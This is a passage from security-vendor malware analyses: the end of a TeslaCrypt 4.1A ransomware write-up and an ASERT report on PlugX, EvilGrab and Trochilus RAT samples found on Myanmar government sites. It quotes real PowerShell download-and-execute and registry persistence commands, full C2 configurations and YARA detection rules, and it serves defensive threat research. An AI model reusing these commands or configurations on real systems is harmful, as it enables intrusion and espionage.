If the request is successful, the binary will be written to disk in the current user's %TEMP% directory and launched by the JavaScript. The payload (80.exe) was not being flagged by most popular AV products on the day that we detected the malware, likely due to the obfuscation employed. A few days later, about 40% of AV vendors had updated their signatures to catch 80.exe, and a week later, a significant majority of AV vendors will flag this file as malicious. However, this wouldn’t help users who were victimized on the first day.
## TeslaCrypt 4.1A Implant Variant Details
Version information contained within its metadata helps the implant masquerade itself as an official Windows system DLL. Upon execution, the implant unpacks itself by allocating and writing a clean PE file to heap memory. The clean PE that is invoked contains the implant’s intended malicious functionality.
## Anti-Analysis and Evasion Features
This malware exhibits some interesting anti-analysis and evasion features which speak to its sophistication level. We will describe some of these below.
### String Obfuscation
In order to evade detection and hide many of its string extractions, the binary utilizes an inter-process communications channel (COM objects). By using the CoInitialize and CoCreateInstance Windows APIs, the implant can control DirectShow via Software\Microsoft\DirectShow\PushClock using a covert channel, utilizing the quartz libraries.
### Anti-Debugging
TeslaCrypt calls its anti-debugging function many times to thwart automated debugging or API monitoring. By using the QueryPerformance / GetTickCount evasion technique, the process stores the timer count at the beginning of an operation and then records it at the end of the operation. If the malware is being debugged, this time difference will be much more than the normal execution time expected.
### Anti-Monitoring
This TeslaCrypt variant contains a routine designed to terminate five standard Windows administrative/process monitoring applications. The binary enumerates all active processes and utilizes GetProcessImageFileName to retrieve the executable filename for each process. A process will be terminated if its filename contains any of the following strings:
- taskmgr (Task Manager)
- regedi (Registry Editor)
- procex (SysInternals Process Explorer)
- msconfi (System Configuration)
- cmd (Command Shell)
## Entrenchment
The implant drops a copy of itself to disk: `%UserProfile%\Documents\[12 random a-z characters].exe`. In order to establish persistence, the implant adds a registry value that points to the dropped copy:
```
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\%s\ SYSTEM32\CMD.EXE /C START %USERPROFILE%\Documents\[12 random a-z characters].exe
```
The malware also sets the EnableLinkedConnections registry key:
```
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections
```
By setting this key (which was also something done by previous versions of TeslaCrypt), network drives become available to both regular users and administrators. This will allow the implant to easily access and encrypt files on connected network shares in addition to encrypting files on the local hard drive. In a connected business environment, this could substantially increase the damage done by the tool.
## Malicious Mission
TeslaCrypt relies mostly on scare tactics to corner victims into paying the ransom. In reality, it’s making false claims about its encryption usage and has recovery mechanisms that can help users recover files.
### Encryption
Even though the malware's ransom message claims that the encryption used is RSA-4096, this algorithm is not used in any way. Instead, files are encrypted with AES256 CBC. In the encryption function, it first generates the various keys which use standard elliptic curve secp256k1 libraries which is typical for bitcoin related authors. An example of these keys can be seen in memory in the hex view below detailing memory status during master key generation. Once the keys are generated, they are then saved in `%USERPROFILE%\Documents\desctop._ini` and `%USERPROFILE%\Documents\-!recover!-!file!-.txt`. If the malware detects that a file named "desctop._ini" already exists at the specified path, it will not start the key pair generation or encrypt any files because it already assumes that the files have already been encrypted.
### Callback Routine
If the binary successfully encrypts the targeted files on the host, it spins off a thread and initiates a callback routine that attempts HTTP POST requests to six different URIs:
- loseweightwithmysite[.]com/sys_info.php
- helcel[.]com/sys_init.php
- thinktrimbebeautiful[.]com[.]au/sys_init.php
- lorangeriedelareine[.]fr/sys_init.php
- bluedreambd[.]com/inifile.php
- onguso[.]com/inifile.php
The requests are formatted as such:
```
POST http://loseweightwithmysite[.]com/sys_info.php
UserAgent: Mozilla/5.0 (Windows NT 6.3 rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
data=550EF3E0F3BC2E175190FA31F0F440EC9FB7F1AA325D2C42645A173A1C19F6F14E291E1C6F3ADB48CF
```
The "data" POST variable is used to transmit data that is used by the threat actor to track their victims. This data includes host configuration information, version information pertaining to the implant, a randomly generated bitcoin address (where the affected user is instructed to direct their ransom payment), and key data needed to initiate a recovery of the encrypted files. This information is placed in a query string format and will be subsequently encrypted and encoded prior to transmission in the POST request.
## User Experience
The ransom information is displayed using three methods:
- HTML page
- text file
- PNG image
These files will also be written to disk in nearly every directory on the file system. The links for a real victim’s will reference the victim’s unique ID which facilitates payment tracking and decryption should the ransom be paid.
## Conclusion
TeslaCrypt 4.1A is indicative of the broader trend we’re seeing in ransomware. While the targeted, high-value targets dominate the press, ransomware is increasingly opportunistic as opposed to targeted. These randomized spam campaigns rely on infiltrating a very small percentage of targets, but are still extremely lucrative given their widespread dispersion. In addition, the shortened time-frame between variants also reflects the trends in ransomware over the last 6-12 months. The speed to update between variants is shrinking, while the sophistication is increasing. This makes reverse engineering the malware more onerous, including the use of deception techniques such as misleading researchers that RSA-4096 encryption is used when in reality it was AES-256. In short, not only does the spam campaign attempt to deceive potential targets, but TeslaCrypt 4.1A also aims to mislead and stay ahead of researchers attempting to reverse engineer it. Only four months into 2016, as our timeline demonstrates, this may very well be the year of the ransomware attack. These kinds of opportunistic attacks can be very lucrative and sophisticated, and should increasingly be on the radar of both high-value organizations as well as individuals. |
# ASERT Threat Intelligence Report – Uncovering the Seven Pointed Dagger
## Executive Summary
Previously, Arbor ASERT discovered indicators of the PlugX APT malware being used in a manner that suggested the country of Myanmar may have been a target, or involved in staging other campaigns towards other targets. Strategic Web Compromise (aka “Watering Hole”) tactics involving the placement of PlugX and other malware were discovered on Myanmar government and other Myanmar-related websites. Analysis of malware configuration suggested that Special Economic Zones (SEZs) in Myanmar were of interest to the threat actors. These findings were released by ASERT in a report called “Defending the White Elephant.”
In addition to ASERT, threat activity has been documented by Palo Alto Networks in June 2015 concerning a Strategic Web Compromise of the Myanmar Presidential website that leveraged the Evilgrab malware. Their research also indicates instances of the 9002 RAT being used on the same web infrastructure. Later, Citizen Lab published a report “Targeted Malware Attacks against NGO Linked to Attacks on Burmese Government Websites” on October 16, 2015 that linked Arbor research to campaigns against an unnamed NGO. These events involved the PlugX malware, EvilGrab, and the 3102 variant of the 9002 RAT.
After delivering our initial findings to the Myanmar CERT in August, additional malware was subsequently found on the Myanmar election site on October 20th, 2015 (now removed). Specifically, six RAR files containing two instances of PlugX, EvilGrab, an unknown malware, and two instances of a new APT malware called the Trochilus RAT - plus an instance of the 3012 variant of the 9002 RAT were found. These seven discovered malware offer threat actors a variety of capabilities including espionage and the means to move laterally within targets in order to achieve more strategic access. As these seven malware appear to be wielded by a distinct actor group (known to collaborators at Cisco’s Talos Group as “Group 27”), we are theatrically characterizing this cluster of malware as the Seven Pointed Dagger.
Information on threat actor TTPs can help other organizations increase awareness that can lead to greater resistance to and better detection of malice. ASERT continues to explore threat activity that has been uncovered and will provide additional reporting as needed.
## Report Overview and Major Findings
The following infographic depicts the process by which the information in this report was uncovered. It can serve as a useful reference and to maintain context while following the written trail in the rest of this report.
### Union Election Commission Website Malware: August - October, 2015
Several additional malware files were discovered on the Myanmar Union Election Commission (UEC) website since the prior report that was initially published on August 17, 2015. The presence of new malware after the initial notification process from Arbor indicates an ongoing compromise of the site and possibly related sites and suggests that a more diligent Incident Response process was required to discover all of the compromised infrastructure and victims of the malware activity. These newer files and related content shall be analyzed herein.
#### Malware #1-6: Six RAR Files Containing PlugX, EvilGrab, an unknown malware, and the Trochilus RAT
As documented in the “Defending the White Elephant” paper, several RAR files containing malware were discovered on the UEC website in the past. As of October 20, 2015 a new file was discovered at uecmyanmar.org/dmdocuments/UEC-Invitation.rar and was present as of November 2015. Following the trail left by this malware has helped ASERT uncover other related threat activity to include a cluster of six malware packages stored in RAR file format on a staging/distribution server.
#### Malware #7: 3102 Variant of the 9002 RAT in Firefox Plugin
An additional malware file was stored at uecmyanmar.org/plugins/system/jatabs/jatabs/FlashVideoPlayer.php and was submitted to VirusTotal on August 21, 2015 from Japan and later on October 13 from Singapore. Flash VideoPlayer.php contained a ZIP file that stored a Firefox plugin, which was used to launch the 3102 variant of the 9002 RAT. Another instance of this RAT was also mentioned by Citizen Lab in their report, “Targeted Malware Attacks against NGO Linked to Attacks on Burmese Government Websites.” The presence of the exact same RAT family inside the fake Firefox Plugin on the UEC website creates a link between this artifact and attacks on the unnamed NGO that were discussed inside the Citizen Lab report.
#### Malware set #1: Six RAR files (two PlugX, one EvilGrab, one unknown, two Trochilus RAT)
The newly observed file, stored in a RAR, is a storage tactic that has been previously observed on the same site. Two prior filenames (discussed in the White Elephant report) were invitations.rar and PlanProposal.rar. Inside the UEC-Invitation.rar file there is a folder called UEC Invitation that contains another folder called Invitation. Inside this folder is a shortcut file, Invitation.LNK with a timestamp of August 24, 2015. Analysis of the .LNK file turns up some interesting elements, such as the use of PowerShell inside the Target field, which performs a download and execute of additional malware.
### Analysis of the LNK file reveals malicious Powershell
Analysis of the LNK file metadata property store reveals some interesting aspects of the malware.
Of interest is the System.ItemTypeText value (a so-called “friendly name” of a Windows element that is displayed during the use of an application) of UNDP, which may stand for the United Nations Development Program, the UN’s global development network. The Myanmar-focused page for the UNDP describes their mission as follows: “In Myanmar, UNDP provides support to the national political and socio-economic reforms that underpin the country’s transition.” Therefore, the UNDP, or those that work with the UNDP may have been targeted and may still be a target.
The System.DateCreated and System.DateModified values show September 15, 2014, which could indicate that campaign activity has been underway for over a year. It is also possible that this date could be modified.
The next two fields of interest relate to the local filepath on the system that was used to create the LNK shortcut file. System.ItemFolderPathDisplayNarrow and System.ParsingPath both reveal the presence of a Dropbox folder, and an Admin subfolder that contains another folder named UNDP. Using cloud storage facilities appears to be a known tactic of this group of actors, as they were observed utilizing Google Drive as described in “Targeted Attacks on an Environmental NGO” by CitizenLab. To our knowledge, these are the first signs that Dropbox may also have been used.
The PowerShell is as follows (brackets added to any malicious contents to prevent accidental clicks):
```
%windir%\System32\cmd.exe /c mode con cols=15 lines=1 & powershell (new-object System.Net.WebClient).DownloadFile('http://www.oma.org[.]tw/setup/note.exe','%TEMP%\note.exe'); Start-Process '%TEMP%\note.exe’
```
The shortcut uses a command prompt to run PowerShell to invoke a System.Net.WebClient class to use the DownloadFile method to get note.exe from target site, store it in %TEMP% then run the file. This PowerShell basically performs a typical “download and execute” function of the file located at http://www.oma.org[.]tw/setup/note.exe.
The www.oma.org[.]tw site is the “Occupational Medicine Association in R.O.C.” This site is or was insecure, as it had been compromised and defaced several times by apparently unrelated actors. The malware mentioned herein has since been removed.
### Setup directory containing two malware
The payload of the first downloader, Note.exe also uses PowerShell to download and execute http://down.360safe.com/inst.exe, which is the 360Total Security (Qihoo 360) anti-malware app. PowerShell also downloads and executes the file Setup.exe from the same staging directory on www.oma.org[.]tw/setup/.
Note.exe creates a persistence mechanism by creating a file called StartON.bat which is then added to the Windows registry. The relevant code is as follows:
```
start /min powershell (new-object System.Net.WebClient).DownloadFile('http://down.360safe[.]com/inst.exe','C:\\ProgramData\\ChromeDel.exe'); Start-Process -Wait -FilePath C:\\ProgramData\\ChromeDel.exe
echo start /min powershell (new-object System.Net.WebClient).DownloadFile('http://www.oma.org[.]tw/setup/Setup.exe','C:\\ProgramData\\ChromeDel.exe'); Start-Process 'C:\\ProgramData\\ChromeDel.exe'>C:\\ProgramData\\StartON.bat
reg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v StartON /t reg_sz /d C:\\ProgramData\\StartON.bat /f
```
Setup.exe executes and drops two files: ‘data.dat’ and ‘shell.dll’ into the WEventsCache folder. Data.dat appears to be encrypted, and shell.dll attempts to pose as a binary associated with the UltraEdit application. Shell.dll appears to be a helper application known to its developers as Servant Shell. Based on review of the code of the Trochilus RAT discovered by ASERT, shell.dll is a file generated when the RAT is compiled.
A YARA rule for discovering additional samples of ServantShell was created.
```yara
// servantshell.yara 10/26/15
// Arbor Networks ASERT Nov 2015
rule servantshell {
strings:
$string1 = "SelfDestruction.cpp"
$string2 = "SvtShell.cpp"
$string3 = "InitServant"
$string4 = "DeinitServant"
$string5 = "CheckDT"
condition: all of them
}
```
A relatively new feature of VirusTotal called RetroHunt was used with this YARA rule to discover other samples of this malware. The malware appears to be rare - out of 80 terabytes of malware stored inside VirusTotal at the time of search, only eight additional samples were discovered. One sample clearly revealed information about where the malware had been found in the wild. The location of a file analyzed by VT on 9-30-2015 was found on the staging/storage server and is still present at the time of this writing.
This URL is hosted in an open directory where several other malware samples have been stored in the form of RAR files, and reveals a grouping of malware utilized in this and perhaps other campaigns. This site has been reported to the Myanmar CERT for incident response. New content has been added to the site as of Dec 10, 2015 (not reflected in the image to the left). The “Last modified” field suggests that this webserver has been used as a file staging location since at least April 10 of 2015. The first indicators of passive DNS activity on this domain name were observed on April 10 at 03:20:28. While further research is required to gain a better understanding of the distribution system at play, analysis of these files can provide insight into the threat campaign(s) at hand.
The relevant file hashes, datestamps, and other data about the RAR files follows. An indented bullet means that the prior bullet was an archive or installer file that contained the indented files. For example, in the first sample, Patch-update0409BAN.rar contained Setup.exe, SqmApi.dll, and plugus_res.dll. The file plugus_res.dll is an installer file that contains the five innermost files listed (starting with mcf.ep and ending with res.db). This format shall be used throughout the document. Files shall be discussed in date order, in order to get a sense of threat actor timelines and capabilities.
### Sample #1: PlugX
- MD5 (Patch-update0409BAN.rar) = 70f1a9ee69cea1b0f53099eb27753895 April 10, 2015
- MD5 (Setup.exe) = 9d04bd9a340eca1b92fe05755e9b349a
- MD5 (SqmApi.dll) = 660aa2b9375aaa8e0c1748974f130ba3
- MD5 (plugus_res.dll) = c91a22de0d7010b334c6010f6bd67462
- MD5 (mcf.ep) = 627aebf89b0771440cf7aa8e0a4db296
- MD5 (mcf.exe) = 884d46c01c762ad6ddd2759fd921bf71
- MD5 (mcutil.dat) = f02925b8d510e35cc33d662d2311f671
- MD5 (mcutil.dll) = 72e59f6e07a7f9981ef98b541a05628c
- MD5 (res.db) = a453bb1f1b5bb3f4810e38290190516c
Run-time files are placed into the TaskSchedulerCUDL folder, as specified in the PlugX configuration. Several of the files stored here are hidden from typical view using the System, Hidden attributes. The purpose of the long, apparently randomly named files is a topic for further investigation.
### Table 1: PlugX filesystem activity
| Attribute | File path and name | MD5 hash |
|-----------|---------------------|----------|
| A | C:\ProgramData\TaskSchedulerCUDL\lpversudxi | 5f66c2e2679585d4e46a9a6a2b488bc5 |
| SH | C:\ProgramData\TaskSchedulerCUDL\mcf.ep | 627aebf89b0771440cf7aa8e0a4db296 |
| SH | C:\ProgramData\TaskSchedulerCUDL\mcf.exe | 884d46c01c762ad6ddd2759fd921bf71 |
| | %AppData%\Local\Temp\RarSFX0\mcf.exe | |
| SH | C:\ProgramData\TaskSchedulerCUDL\mcutil.dll | 56809e68c70179bc88eb980aa313c89a |
| | %AppData%\Local\Temp\RarSFX0\mcutil.dll | |
| A | C:\ProgramData\TaskSchedulerCUDL\ufbidruosivibuted | 4893758ff2ce2d6eeacbf5577f149301 |
Analysis of network traffic reveals that this malware makes an outbound connection to 222.222.222[.]222 on TCP/9999, a connection that has been seen in several other samples in the original cluster of six. During our analysis, this port was always non-responsive, yet attempted connections to 222.222.222[.]222 on TCP/9999 should be cause for concern. Next, the malware issues a DNS query for webhttps.websecexp[.]com, and receives a DNS response of 114.108.136[.]15. A connection to TCP/443 was then observed to this IP address. The use of port 443 is leveraged by the malware's own protocol (it is not SSL/TLS). A visual representation of the obfuscated traffic is included herein (red = client, blue = server).
### Figure 7: Obfuscated PlugX connection to C2
Network activity from this sample triggers the following Emerging Threats signature (based on a DNS lookup of a known malicious domain):
```
[2021960] ET TROJAN PlugX or EvilGrab DNS Lookup (websecexp.com) (rev: 1)
```
The full configuration of this PlugX sample is as follows:
```
[plugx] cnc: appeur.gnway.cc:90
[plugx] cnc: webhttps.websecexp.com:443
[plugx] cnc: usacia.websecexp.com:53
[plugx] cnc: usafbi.websecexp.com:25
[plugx] cnc1: webhttps.websecexp.com:443 (TCP / HTTP)
[plugx] cnc2: usafbi.websecexp.com:25 (UDP)
[plugx] cnc3: usacia.websecexp.com:53 (HTTP / UDP)
[plugx] cnc4: appeur.gnway.cc:90 (TCP / HTTP)
[plugx] cnc5: usafbi.websecexp.com:25 (TCP / HTTP)
[plugx] cnc6: webhttps.websecexp.com:443 (HTTP / UDP)
[plugx] cnc_auth_str: 0409 ARP CUDLL
[plugx] dns: 168.126.63.1
[plugx] dns: 61.4.64.4
[plugx] dns: 8.8.8.8
[plugx] dns: 203.81.64.18
[plugx] enable_icmp_p2p: 0
[plugx] enable_ipproto_p2p: 0
[plugx] enable_p2p_scan: 0
[plugx] enable_tcp_p2p: 0
[plugx] enable_udp_p2p: 0
[plugx] flags1: 4294967295
[plugx] flags2: 0
[plugx] hide_dll: -1
[plugx] http: http://hi.baidu.com/nvcvrclsnzaioxe/item/5e101810ed4197b665eabf
[plugx] icmp_p2p_port: 1357
[plugx] injection: 1
[plugx] inject_process: %windir%\system32\svchost.exe
[plugx] inject_process: %ProgramFiles%\Internet Explorer\iexplore.exe
[plugx] inject_process: %windir%\explorer.exe
[plugx] inject_process: %ProgramFiles(x86)%\Windows Media Player\wmplayer.exe
[plugx] install_folder: %AUTO%\TaskSchedulerCUDL
[plugx] ipproto_p2p_port: 1357
[plugx] keylogger: -1
[plugx] mac_disable: 00:00:00:00:00:00
[plugx] mutex: Global\eNzAMQgOXyITQMt
[plugx] persistence: Service + Run Key
[plugx] plugx_auth_str: open
[plugx] reg_hive: 2147483649
[plugx] reg_key: Software\Microsoft\Windows\CurrentVersion\Run
[plugx] reg_value: McAfeeME
[plugx] screenshot_folder: %AUTO%\TaskSchedulerCUDL\bNjWcdOXFiQIME
[plugx] screenshots: 0
[plugx] screenshots_bits: 16
[plugx] screenshots_keep: 3
[plugx] screenshots_qual: 50
[plugx] screenshots_sec: 10
[plugx] screenshots_zoom: 50
[plugx] service_desc: Windows McAfeeOEMInfo Service
[plugx] service_display_name: McAfeeOEMInfoME
[plugx] service_name: McAfeeOEMInfoME
[plugx] sleep1: 100663296
[plugx] sleep2: 0
[plugx] tcp_p2p_port: 1357
[plugx] uac_bypass_inject: %windir%\explorer.exe
[plugx] uac_bypass_inject: %windir%\system32\dllhost.exe
[plugx] uac_bypass_inject: %windir%\system32\msiexec.exe
[plugx] uac_bypass_inject: %windir%\system32\rundll32.exe
[plugx] uac_bypass_injection: 1
[plugx] udp_p2p_port: 1357
```
Some interesting elements about this sample configuration reveal an infrastructure overlap with the PlugX samples profiled in the “Defending the White Elephant” paper. In addition to the fact that the samples were present on the same staging/storage server, overlap ping configurations add weight to the idea that the same group of actors is involved. As far as deriving additional meaning from other elements in the configuration, the cnc_auth_str value of “0409 ARP CUDLL” may be meaningful, and may indicate that the malware was built/configured on April 09 (and placed on the staging server the next day, indicated by the webserver timestamp). The “http” parameter pointing to a baidu.com site is used to deliver C2s to PlugX in the event that all the C2 in the configuration are non-responsive. In this case, this content was unable to be recovered from the Baidu site. Each PlugX sample reviewed here sometimes has configuration overlap with other samples, which could indicate default values, or potentially values from previous campaigns that were not removed. Somewhat distinct groups of actors wielding PlugX may potentially be profiled from unique configuration values across samples.
### Sample #2: PlugX
- MD5 (Patch-updateYBbyYB.rar) = 63a463f2c18676d868d39785a48f073a June 3, 2015
- MD5 (Setup.exe) = 9d04bd9a340eca1b92fe05755e9b349a
- MD5 (SqmApi.dll) = 1177bf095bc3673a7373ead852af3f6c
- MD5 (plugus_res.dll) = 69a00ee1aa56852bbd28bb9d9765b43c
- MD5 (Google.com.Logo) = 02c2450c19bc21391ba2835edf2dd745
- MD5 (mcf.ep) = 57cc1ec6470e31ef20abde8e611125b5
- MD5 (mcf.exe) = 884d46c01c762ad6ddd2759fd921bf71
- MD5 (mcutil.dll) = 9e544eb353b78a6467858fda4b8ec14e
- MD5 (Norman.exe) = 23a3f48df4b36e3d2e63cde4b85cf4fa
- MD5 (elogger.dll) = 5ff63e07a481e8768b3ef4d9ee91f13d
- MD5 (mcf.exe) = 884d46c01c762ad6ddd2759fd921bf71
- RarSFX1/folder
- MD5 (mcutil.dll) = 9e544eb353b78a6467858fda4b8ec14e
Running setup.exe results in an “update install success” dialog box, followed by an attempted TCP connection to the previously mentioned site 222.222.222[.]222 on TCP/9999. One of the supporting files inside the plugus_res.dll archive is Norman.exe, a legitimate binary with the original name of zlh.exe known as the “Program Manager Stub” which is apparently created and signed by Norman AS. The certificate was valid from 10/10/2012 – 10/11/2015, overlapping with the timestamp used on the RAR file.
The elogger.dll file executes (with WinExec) the file Google.com.Logo that was included in the same directory to add one additional layer of unpacking. Once the file Google.com.Logo is executed, it is removed from disk. Google.com.Logo is a RAR file that contains mcf.ep, mcf.exe, and mcutil.dll. Following the execution path of these files results in another instance of PlugX which is using the previously observed sites webhttps.websecexp.com, usafbi.websecexp.com, usacia.websecexp.com, and appeur.gnway.cc as C2, and a supplemental C2 pointer stored at epn.gov.co/plugins/search/search.html that was previously documented in our paper “Defending the White Elephant.”
### The complete PlugX configuration used in this sample is as follows:
```
[plugx] cnc: appeur.gnway.cc:90
[plugx] cnc: webhttps.websecexp.com:443
[plugx] cnc: usacia.websecexp.com:53
[plugx] cnc: usafbi.websecexp.com:25
[plugx] cnc1: webhttps.websecexp.com:443 (TCP / HTTP)
[plugx] cnc2: usafbi.websecexp.com:25 (UDP)
[plugx] cnc3: usacia.websecexp.com:53 (HTTP / UDP)
[plugx] cnc4: appeur.gnway.cc:90 (TCP / HTTP)
[plugx] cnc5: usafbi.websecexp.com:25 (TCP / HTTP)
[plugx] cnc6: webhttps.websecexp.com:443 (HTTP / UDP)
[plugx] cnc_auth_str: 0528 ARPYB
[plugx] dns: 168.126.63.1
[plugx] dns: 180.76.76.76
[plugx] dns: 8.8.8.8
[plugx] dns: 203.81.64.18
[plugx] enable_icmp_p2p: 0
[plugx] enable_ipproto_p2p: 0
[plugx] enable_p2p_scan: 0
[plugx] enable_tcp_p2p: 0
[plugx] enable_udp_p2p: 0
[plugx] flags1: 4294967295
[plugx] flags2: 0
[plugx] hide_dll: -1
[plugx] http: http://epn.gov.co/plugins/search/search.html
[plugx] icmp_p2p_port: 1357
[plugx] injection: 1
[plugx] inject_process: %windir%\system32\svchost.exe
[plugx] inject_process: %ProgramFiles%\Internet Explorer\iexplore.exe
[plugx] inject_process: %windir%\explorer.exe
[plugx] inject_process: %ProgramFiles(x86)%\Windows Media Player\wmplayer.exe
[plugx] install_folder: %AUTO%\TempLog
[plugx] ipproto_p2p_port: 1357
[plugx] keylogger: -1
[plugx] mac_disable: 00:00:00:00:00:00
[plugx] mutex: Global\doWcQFXMASDGYkATMXXeKSsQ
[plugx] persistence: Service + Run Key
[plugx] plugx_auth_str: open
[plugx] reg_hive: 2147483649
[plugx] reg_key: Software\Microsoft\Windows\CurrentVersion\Run
[plugx] reg_value: EventLog
[plugx] screenshot_folder: %AUTO%\TempLog\bSHAMAPUKhFs
[plugx] screenshots: 0
[plugx] screenshots_bits: 16
[plugx] screenshots_keep: 3
[plugx] screenshots_qual: 50
[plugx] screenshots_sec: 10
[plugx] screenshots_zoom: 50
[plugx] service_desc: Windows Management EventLogs
[plugx] service_display_name: Windows Management EventLogs
[plugx] service_name: Windows Management EventLogs
[plugx] sleep1: 83886080
[plugx] sleep2: 0
[plugx] tcp_p2p_port: 1357
[plugx] uac_bypass_inject: %windir%\explorer.exe
[plugx] uac_bypass_inject: %windir%\system32\dllhost.exe
[plugx] uac_bypass_inject: %windir%\system32\msiexec.exe
[plugx] uac_bypass_inject: %windir%\system32\rundll32.exe
[plugx] uac_bypass_injection: 1
[plugx] udp_p2p_port: 1357
```
Interesting observations of this sample include the cnc_auth_str of “0528 ARPYB” which may indicate the malware creation or configuration date of Thursday, May 28, 2015. The staging date from the webserver timestamp is Wednesday June 3, 2015, possibly indicating that the threat actors did not work over the weekend. The presence of the common value “ARP” between PlugX samples #1 and #2 could indicate someone’s initials or have some other meaning that is not known. The four DNS IP addresses in the configuration file feature three of the same entries in sample #1, but this configuration reveals the addition of the DNS IP address 180.76.76[.]76, which resolves to public-dns-a.baidu[.]com. The injection_process values and the uac_bypass_inject values are the same between sample #1 and sample #2, but some other minor changes to the configuration were also observed.
### Sample #3: Unknown Malware
- MD5 (Security-Patch-Update333.rar) = 5ed8b90a8d5cabda83fc814e2bbd9600 September 2, 2015
- MD5 (Security-Patch-Update.exe) = 82896b68314d108141728a4112618304
- Security-Patch-Update.exe is a binary signed by Binzhoushi Yongyu Feed Co., Ltd.
- The certificate is valid from 1/16/2014 – 1/17/2016.
- Execution of this malware creates an “Internet Explorer” folder that contains the following files:
- MD5 (conhost.exe) = f70b295c6a5121b918682310ce0c2165
- Appears to be a legit SandboxIE file, originally named SandboxieBITS.exe that is signed by SANDBOXIE L.T.D. ASERT has 20 instances of this file being used in malware operations. Additionally, analysis of the files PEHash (ffb7a38174aab4744cc4a509e34800aee9be8e57) reveals 47 instances of the same or slightly modified file being used in various PlugX operations since at least 2013.
- MD5 (SBieDll.dll) = 6c5f17cbd4d0f95fd8f9563219838a05
- This file has its import section destroyed, suggesting that it is obfuscated and malicious and not a legitimate SbieDll.dll file. Additionally, the first instruction inside the DllEntryPoint is “pusha” which places the contents of all the registers on the stack and is often observed in packed malicious code. This DLL file is sidelined by conhost.exe.
- MD5 (dll2.xor) = 8477f2b4602c552fad68f8c192beeebf
- Based upon the filename, this may be an XOR-ed DLL file. Additional analysis is required.
- MD5 (maindll.dll) = d8ede9e6c3a1a30398b0b98130ee3b38
- This binary is obfuscated and requires further analysis.
- MD5 (nvsvc.exe) = e0eb981ad6be0bd16246d5d442028687
- This file uses Microsoft Foundation Classes (MFC) and is signed by Square Network Tech Co., LTD from the city of Zhongshan, Guangdong province, China on November 12, 2014 at 9:01:58 PM (CN = Square Network Tech Co., LTD (O = Square Network Tech Co., LTD. L = Zhongshan, S = Guangdong, C = CN). The digital signature contains an attribute field 1.3.6.1.4.1.311.2.1.12 that lists the string “Microsoft Windows Shell explorer https://www.trustasia.com” and was valid from Feb 21, 2014 – Feb 22, 2015. Trustasia.com is a digital certificate provider in Shanghai, China.
- MD5 (runas.exe) = 6a541de84074a2c4ff99eb43252d9030
- This file contains a jump table with 7 cases, each leading to one of the five files dropped by the malware, with two additional files referenced that are not present: HOOK.DLL and mon.
Further research and investigation is pending. To provide some limited initial insight, we can observe the presence of some interesting strings in memory as such:
- "admin||0902"
- "1qaz2wsx3edc"
- .data:0042C400 00000029 C \\Microsoft\\Internet Explorer\\conhost.exe
- .data:0042C42C 00000026 C \\Microsoft\\Internet Explorer\\dll2.xor
- .data:0042C454 00000029 C \\Microsoft\\Internet Explorer\\maindll.dll
- .data:0042C480 00000029 C \\Microsoft\\Internet Explorer\\SBieDll.dll
- .data:0042C4AC 00000027 C \\Microsoft\\Internet Explorer\\nvsvc.exe
- .data:0042C4D4 0000000F C %USERPROFILE%\\
- .data:0042C50C 00000011 C Application Data
- .data:0042C520 0000000E C AppData\\Local
- .data:0042C534 0000000C C SHGetValueA
- .data:0042C540 0000000C C Shlwapi.dll
- .data:0042C54C 00000020 C SOFTWARE\\Micropoint\\Anti-Attack
- .data:0042C56C 00000009 C MP100000
- .data:0042C578 00000012 C SOFTWARE\\JiangMin
- .data:0042C58C 0000000C C InstallPath
- .data:0042C598 00000014 C SOFTWARE\\rising\\RAV
- .data:0042C5AC 0000000C C installpath
- .data:0042C5B8 0000001C C SOFTWARE\\Avira\\Avira Destop
- .data:0042C5D4 00000005 C Path
- .data:0042C5DC 0000001C C SOFTWARE\\kingsoft\\Antivirus
- .data:0042C5F8 00000009 C WorkPath
- .data:0042C604 00000011 C Software\\360safe
- .data:0042C618 0000000C C DefaultSkin
- .data:0042C624 00000018 C SOFTWARE\\360Safe\\Liveup
- .data:0042C63C 00000005 C curl
- .data:0042C644 0000000D C 1qaz2wsx3edc
This sample never generated any network activity during automated or manual analysis. Further analysis is required to obtain deeper insight into this sample (ASERT sample ID 29048791).
### Sample #4: The Newly Discovered Trochilus RAT
This is the first instance of the Trochilus RAT observed by ASERT. While there is a chance that other threat intelligence analysts have discovered and documented this threat, we are unaware of any public reference to this malware being used in targeted campaigns. Based on the information we have access to, this appears to be a relatively new malware that has yet to be profiled.
- MD5 (Update-Patch0999999.rar) = 282cdf360dc627dac145842e666ea7e5 September 23, 2015
- MD5 (Setup.exe) = 9d04bd9a340eca1b92fe05755e9b349a
- MD5 (SqmApi.dll) = abef3efb5972cfe4abdc4a9c99f67f0e
- MD5 (System.dll) = 6f5257c0b8c0ef4d440f4f4fce85fb1b
- MD5 (plugus_res.dll) = 03ef3d0131f27416b17807ab3ccd1556
- MD5 (data.dat) = 8c67c8b1b149d17bbe3a00c1aa6f940e
- MD5 (shell.dll) = 304d83e15cce9b8dc826cdee2a96ef62
This malware executes in memory only and the final payload never appears on disk in normal operations, however the binaries can be decoded and are subsequently easier to analyze. This sample makes an outbound connection to computer.security-centers[.]com at the current IP address of 211.255.32[.]130 on TCP/25 as well as a connection to the previously observed 222.222.222[.]222 on TCP/9999. Sample #4 and sample #6 are very similar (both instances of the Trochilus RAT), and will be covered in greater depth in a later section of this document.
### Sample #5: Grabber/EvilGrab
While potentially dated, an in-depth analysis of EvilGrab can be found in the Trend Micro document “2Q Report on Targeted Attack Campaigns” from 2013.
- MD5 (Security-Patch-Update.rar) = 76c0285bb89556564594ce1927b837b7 October 9, 2015
- MD5 (Patch-Update.exe, IEChecker.exe) = 31c52be912b7269255ec669176663136
The final decrypted payload for this malware only executes in memory and never touches disk, but is instead injected into ctfmon.exe. Therefore, analysis of memory dumps for detection and classification may prove fruitful. The following YARA rule can be used to aid such investigations.
```yara
// detects instances of EvilGrab aka Grabber malware.
// Arbor Networks ASERT Nov 2015
rule evilgrab {
strings:
$str1 = "%cload crypt32.dll error"
$str2 = "Outlook2003_HTTP"
$str3 = "Outlook2002_HTTP"
$str4 = "HTTP Server URL"
$str5 = "Outlook2003_IMAP"
$str6 = "Outlook2002_IMAP"
$str7 = "%cget %s 's password error!"
$str8 = "GetTcpTable failed with %d"
$str9 = "<Start Application 2 key>"
